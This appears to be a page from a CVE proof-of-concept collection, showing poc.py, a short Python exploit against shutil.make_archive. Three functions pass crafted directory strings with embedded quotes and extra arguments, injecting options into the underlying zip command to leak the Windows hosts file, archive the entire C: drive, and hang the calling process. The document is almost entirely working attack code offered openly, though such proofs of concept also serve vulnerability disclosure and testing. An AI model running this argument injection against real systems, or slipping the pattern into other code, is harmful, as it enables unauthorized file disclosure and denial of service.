4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
from shutil import make_archive


# Leaking arbitrary file from the system
def information_leak():
	make_archive('archive', 'zip', '.', 'testdir" "C:\\Windows\\System32\\drivers\\etc\\hosts')

# Trying to compress the entire drive
def denial_of_service():
	make_archive('archive', 'zip', '.', 'testdir" "C:\\')

# Hanging the calling process
def arbitrary_arguments():
	make_archive('archive', 'zip', '.', 'testdir" --entry-comments "')
arbitrary_arguments()